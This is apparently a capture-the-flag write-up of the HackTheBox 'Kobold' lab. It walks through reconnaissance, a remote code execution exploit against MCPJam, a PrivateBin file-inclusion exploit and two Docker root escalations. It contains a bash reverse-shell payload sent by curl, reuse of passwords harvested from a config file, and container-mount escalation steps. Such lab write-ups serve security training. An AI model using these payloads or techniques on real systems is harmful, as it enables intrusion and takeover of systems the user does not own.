> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/easy/kobold.md).

# Kobold

Kobold is a Easy Linux HackTheBox Machine with two ways to get root

## Reconnaissance

As always we start our machine with rustscan

{% code overflow="wrap" %}

```bash
rustscan -a 10.129.13.66 -b 1000 -t 5000 -- -A -sCV
```

{% endcode %}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">PORT     STATE SERVICE  REASON         VERSION
<strong>22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
</strong>| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDyfTq7atQNY2qg78Nt+Q/rowZnmsZ0+vG+FraL750n57MCUNo0a/hw/Df2XfLKPUGiVIVYmQTraVft8Xv2AjYk=
|   256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHDfvijaU/WiU8D/im7cOg8k4NeAOUgCHq16HhCbmZcI
<strong>80/tcp   open  http     syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
</strong>|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://kobold.htb/
<strong>443/tcp  open  ssl/http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
</strong>| http-methods:
|_  Supported Methods: GET HEAD
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: Kobold Operations Suite
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Issuer: commonName=kobold.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-15T15:08:55
| Not valid after:  2125-02-19T15:08:55
| MD5:     c49e c4d5 d4a0 e473 00bc 8df8 cc00 98ac
| SHA-1:   a231 1d00 d15b 2007 eff5 957d 0561 265a bb90 6906
| SHA-256: 0395 2d40 2b1f 2245 6092 f007 1ae7 6c6d 34d9 0ae3 c04f 271d db92 8907 e4e3 acfe
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhqgAwIBAgIUYYWyqxUgK9B/KXzRH5Qhz8UlYxkwDQYJKoZIhvcNAQEL
| BQAwFTETMBEGA1UEAwwKa29ib2xkLmh0YjAgFw0yNjAzMTUxNTA4NTVaGA8yMTI1
| MDIxOTE1MDg1NVowFTETMBEGA1UEAwwKa29ib2xkLmh0YjCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAJ8HVhVl45uBJYRwEQCmzAEXGqJMK6Wp5BOeaSLD
| 6KJjuSnWLOs5vKTtpHvhlulpnwqa7PmTiUUhjY421T2sn2KNRcCFKyNMJ9Ju6lSe
| ijY6oQ2DEED82QC/1HX6O2XtJUf5JWrGrr1krrS6wrHSrEaTwA0vgwrJlVf/TO+U
| 21Mnv3W1lActy7GMfnehOrz0zWDfYjNB/JuOWHEZdRIDALUicaMUgsReZDmBaLH7
| qMBBS7Eid9a15YNIU0FQ297ufai42rD2rDAndGG+eh6eri6DYMVmffBecbOsh4fv
| Li4PTXk3dvO+7+Fnx8YHCYtGTEv1k/R6o/+xQXLsGboQ5P0CAwEAAaN4MHYwHQYD
| VR0OBBYEFGFtHfv+9EMzqZuSryruA41VtTAZMB8GA1UdIwQYMBaAFGFtHfv+9EMz
| qZuSryruA41VtTAZMA8GA1UdEwEB/wQFMAMBAf8wIwYDVR0RBBwwGoIKa29ib2xk
| Lmh0YoIMKi5rb2JvbGQuaHRiMA0GCSqGSIb3DQEBCwUAA4IBAQCQybOVM+Zo5MTb
| QY/24rWy1ksAuiUqPHCABNprilPvsvBGkIMC6aSLqzR8UXm+4aQzBxNlHsePvkzu
| suuQKAoyCbnId0qii6a1vzeozgIOt+1oqfxFe7mRAiLhboSctFqScC6dy/PDEIOg
| bt+gLfU5iKsjqTQBxcWZr4uj7DtWbRC73OITWSSi/Y/AI66o5VHIUhnJ29gOEJVw
| 5Bv43Iublt2FBH/S6fiz509tJAsqLhp1kmxIAWrV92rBZPSpF4s2xWRbWefZPm7L
| fstlVNlXRrBnPz8iN8JrlpZLmZCUQ+BjMUXjqS27LS9Dl/3agD/F2gNuSho/s1F8
| TI93TWcE
|_-----END CERTIFICATE-----
<strong>3552/tcp open  http     syn-ack ttl 63 Golang net/http server
</strong>| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 22 Mar 2026 10:20:25 GMT
|     &#x3C;!doctype html>
|     &#x3C;html lang="%lang%">
|     &#x3C;head>
|     &#x3C;meta charset="utf-8" />
|     &#x3C;meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     &#x3C;meta http-equiv="Pragma" content="no-cache" />
|     &#x3C;meta http-equiv="Expires" content="0" />
|     &#x3C;link rel="icon" href="/api/app-images/favicon" />
|     &#x3C;meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     &#x3C;link rel="manifest" href="/app.webmanifest" />
|     &#x3C;meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     &#x3C;meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|     &#x3C;link rel="modu
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, no-store, must-revalidate
|     Content-Length: 2081
|     Content-Type: text/html; charset=utf-8
|     Expires: 0
|     Pragma: no-cache
|     Date: Sun, 22 Mar 2026 10:20:26 GMT
|     &#x3C;!doctype html>
|     &#x3C;html lang="%lang%">
|     &#x3C;head>
|     &#x3C;meta charset="utf-8" />
|     &#x3C;meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|     &#x3C;meta http-equiv="Pragma" content="no-cache" />
|     &#x3C;meta http-equiv="Expires" content="0" />
|     &#x3C;link rel="icon" href="/api/app-images/favicon" />
|     &#x3C;meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
|     &#x3C;link rel="manifest" href="/app.webmanifest" />
|     &#x3C;meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
|     &#x3C;meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_    &#x3C;link rel="modu
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
</code></pre>

Hmm 3552 port open thats not the usual port&#x20;

so lets start with adding `kobold.htb` in `/etc/hosts`

Next up lets see what we have on port 80 , ok we see nothing interesting here.

### sudomain enumeration

{% code overflow="wrap" %}

```bash
┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/Kobold]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://kobold.htb \
-H "Host: FUZZ.kobold.htb" \
-mc 200
```

{% endcode %}

<pre class="language-zsh"><code class="lang-zsh">        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://kobold.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200
________________________________________________

<strong>mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 180ms]
</strong><strong>bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 159ms]
</strong>:: Progress: [114442/114442] :: Job [1/1] :: 579 req/sec :: Duration: [0:03:10] :: Errors: 0 ::
</code></pre>

Add both subdomains to our `/etc/hosts`

### MCPJam

Accessing site mcp subdomain we can see MCPJam on the logo and we get the version number in settings tab

searching for **MCPJam version v1.4.2** we get a CVE thats leads to RCE

**CVE-2026-23744** ( Reference below )

{% embed url="<https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6>" %}

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FNbHmcpA4yl6qPmio69l3%2Fimage.png?alt=media&amp;token=bfbc36f0-dd26-4c0e-8b26-0c94aba9e890" alt=""><figcaption></figcaption></figure>

### Arcane

Accessing the site on **port 3552** leads to Arcane login page

we can see **version 1.13.0** used for arcane

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2Fulb03836SquqYJxiO21i%2Fimage.png?alt=media&amp;token=f506b738-92da-473b-902f-abf3a5c045c0" alt=""><figcaption></figcaption></figure>

Though I was not able to found anything else , like prior version was vulnerable to command injection but that is fixed in our case

### PrivateBin

Checking on our remaining domain `bin.kobol.htb` we see PrivateBin is running with **version 2.0.2**

Searching about it Exploit leads us to a CVE talking about LFI

**CVE-2025-64714 :**&#x20;

{% embed url="<https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82>" %}

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FwxmaSERpP4WbzYYrjRgE%2Fimage.png?alt=media&amp;token=5f2ad0b2-f013-4e28-86a7-c9617afd76c6" alt=""><figcaption></figcaption></figure>

And this will be Used later

## Exploitation

sending reverse shell payload to `/api/mcp/connect`&#x20;

**PAYLOAD :**&#x20;

```bash
┌──(Eth3real㉿DΣDSEC)-[~/htb/labs/Kobold]
└─$ curl -k https://mcp.kobold.htb/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{
    "serverConfig": {
      "command": "bash",
      "args": ["-c", "bash -i >& /dev/tcp/<your IP>/<port> 0>&1"],
      "env": {}
    },
    "serverId": "mytest"
  }'
```

We get a **ben** user shell with seemingly interesting group **operator**.

```bash
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:~$ cat user.txt 
da727833bf120b172fb4195b6fd96ee2
```

## Privilege Escalation

Eventually I found two ways to get root on this machine

### Intended way

Checking for what services are running

```bash
ben@kobold:~$ ss -tulpn
```

```bash
Netid         State          Recv-Q         Send-Q                   Local Address:Port                    Peer Address:Port         Process                                  
udp           UNCONN         0              0                           127.0.0.54:53                           0.0.0.0:*                                                     
udp           UNCONN         0              0                        127.0.0.53%lo:53                           0.0.0.0:*                                                     
udp           UNCONN         0              0                              0.0.0.0:68                           0.0.0.0:*                                                     
tcp           LISTEN         0              4096                           0.0.0.0:8000                         0.0.0.0:*                                                     
tcp           LISTEN         0              4096                        127.0.0.54:53                           0.0.0.0:*                                                     
tcp           LISTEN         0              511                          127.0.0.1:6274                         0.0.0.0:*             users:(("node",pid=1637,fd=32))         
tcp           LISTEN         0              4096                     127.0.0.53%lo:53                           0.0.0.0:*                                                     
tcp           LISTEN         0              4096                         127.0.0.1:8080                         0.0.0.0:*                                                     
tcp           LISTEN         0              4096                         127.0.0.1:44453                        0.0.0.0:*                                                     
tcp           LISTEN         0              511                            0.0.0.0:443                          0.0.0.0:*                                                     
tcp           LISTEN         0              4096                           0.0.0.0:22                           0.0.0.0:*                                                     
tcp           LISTEN         0              511                            0.0.0.0:80                           0.0.0.0:*                                                     
tcp           LISTEN         0              4096                              [::]:8000                            [::]:*                                                     
tcp           LISTEN         0              4096                                 *:3552                               *:*                                                     
tcp           LISTEN         0              4096                              [::]:22                              [::]:*         
```

we see PrivateBin is running on port 8080

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2Fcagqf2JmdS8XAhyjLJBw%2Fimage.png?alt=media&amp;token=9d4f6ede-98c9-49fb-8551-5ba502e54b53" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2Fd9NIxiM1XYLyflGj0UaT%2Fimage.png?alt=media&amp;token=2ba073cb-5605-4ab8-9897-1b9e8242638c" alt=""><figcaption></figcaption></figure>

Exploring more we see `/privatebin-date` in root path and we have all permissions on `/data` folder inside `/privatebin-data`

and we know what we can trigger a php file using the known vulnerability in current PrivateBin version

{% embed url="<https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82>" %}

so uploading a **shell.php** in `/data` folder and triggering it with the given curl command we can get a shell

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FUutPs9LpQKijfbW45kwS%2Fimage.png?alt=media&amp;token=58f8148b-594d-4964-b485-204a7a7feb4f" alt=""><figcaption></figcaption></figure>

* Upload a rev shell ( I used pentestmonkey )
* Trigger the shell using the curl and add `../data/shell` in the cookie
* It will automatically add the suffix php and run it
* start the listener
* we get nobody shell

```bash
/srv/cfg $ cat conf.php
```

<pre><code>;&#x3C;?php http_response_code(403); /*
; config file for PrivateBin
;
; An explanation of each setting can be find online at https://github.com/PrivateBin/PrivateBin/wiki/Configuration.
---

;[model]
; example of DB configuration for MySQL
;class = Database
;[model_options]
;dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
;tbl = "privatebin_"    ; table prefix
;usr = "privatebin"
<strong>;pwd = "Z3r0P4ss"
</strong>;opt[12] = true   ; PDO::ATTR_PERSISTENT

---

;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_"     ; table prefix
;usr = "privatebin"
<strong>;pwd = "Z3r0P4ss"
</strong>;opt[12] = true    ; PDO::ATTR_PERSISTENT

---

[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_"    ; table prefix
usr = "privatebin"
<strong>pwd = "ComplexP@sswordAdmin1928"
</strong>opt[12] = true   ; PDO::ATTR_PERSISTENT

---

;[model]
; example of DB configuration for PostgreSQL
;class = Database
;[model_options]
;dsn = "pgsql:host=localhost;dbname=privatebin"
;tbl = "privatebin_"     ; table prefix
;usr = "privatebin"
<strong>;pwd = "Z3r0P4ss"
</strong>;opt[12] = true    ; PDO::ATTR_PERSISTENT

---
</code></pre>

Hmm we have two passwords in conf file&#x20;

now we can use them for password spraying

after trying this passwords everywhere

we **successfully logged into Arcane**

using the following creds **`arcane:ComplexP@sswordAdmin1928`**

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FqIhko2J3BuGLwCGVB9Bc%2Fimage.png?alt=media&amp;token=c5b91b6a-4318-4896-9df1-d03b994bd10b" alt=""><figcaption></figcaption></figure>

we see our privatebin image.

we will use that same image and will create a new container but with our root(/) path mounted to /mnt of newly created container also with root user and privileged mode on ( steps below )

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FTBmcu6qBxSp0ebN5mMoB%2Fimage.png?alt=media&amp;token=e75da3fd-e163-4647-bea5-093ba8a62fdc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FLMyqEWHtontW6Fydde0U%2Fimage.png?alt=media&amp;token=01aebeb9-e06a-489d-ba64-9b553af53ed1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FrAkcPVQL6LlAsccDvjYw%2Fimage.png?alt=media&amp;token=b378ea3f-e6c4-4539-be96-829922086eee" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FGYYIFKbw4uJAK9VV2Ayk%2Fimage.png?alt=media&amp;token=6de04f1f-3342-4d6c-ae1f-710126e06a94" alt=""><figcaption></figcaption></figure>

### Unintended way

This one is easier

<pre class="language-bash"><code class="lang-bash"><strong>ben@kobold:~$ id
</strong>uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

<strong>ben@kobold:~$ cat /etc/group | grep docker
</strong>docker:x:111:alice

<strong>ben@kobold:~$ docker ps
</strong>permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied

<strong>ben@kobold:~$ newgrp docker
</strong>
<strong>ben@kobold:~$ id
</strong>uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)

<strong>ben@kobold:~$ docker ps
</strong>CONTAINER ID   IMAGE                               COMMAND                  CREATED         STATUS         PORTS                      NAMES
3df198531fda   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.loca…"   5 minutes ago   Up 5 minutes   8080/tcp                   EnoughPrivileged
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   5 weeks ago     Up 5 hours     127.0.0.1:8080->8080/tcp   bin

<strong>ben@kobold:~$ docker images
</strong>REPOSITORY                    TAG       IMAGE ID       CREATED        SIZE
mysql                         latest    f66b7a288113   6 weeks ago    922MB
privatebin/nginx-fpm-alpine   2.0.2     f5f5564e6731   4 months ago   122MB

</code></pre>

we can create a new group name docker&#x20;

now we are able to perform all the docker related ( fun ) operations

docker images to list the images we have we can see a mysql image we can use that to mount our root(/) to /mnt of new container&#x20;

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2F0dsaiNWKLYZZOb1pxhxf%2Fimage.png?alt=media&amp;token=e4b9c671-eca7-48c3-87bd-b41b62c2f4a5" alt=""><figcaption></figcaption></figure>

Their we go we get root with two ways, Thanks for reading😊.
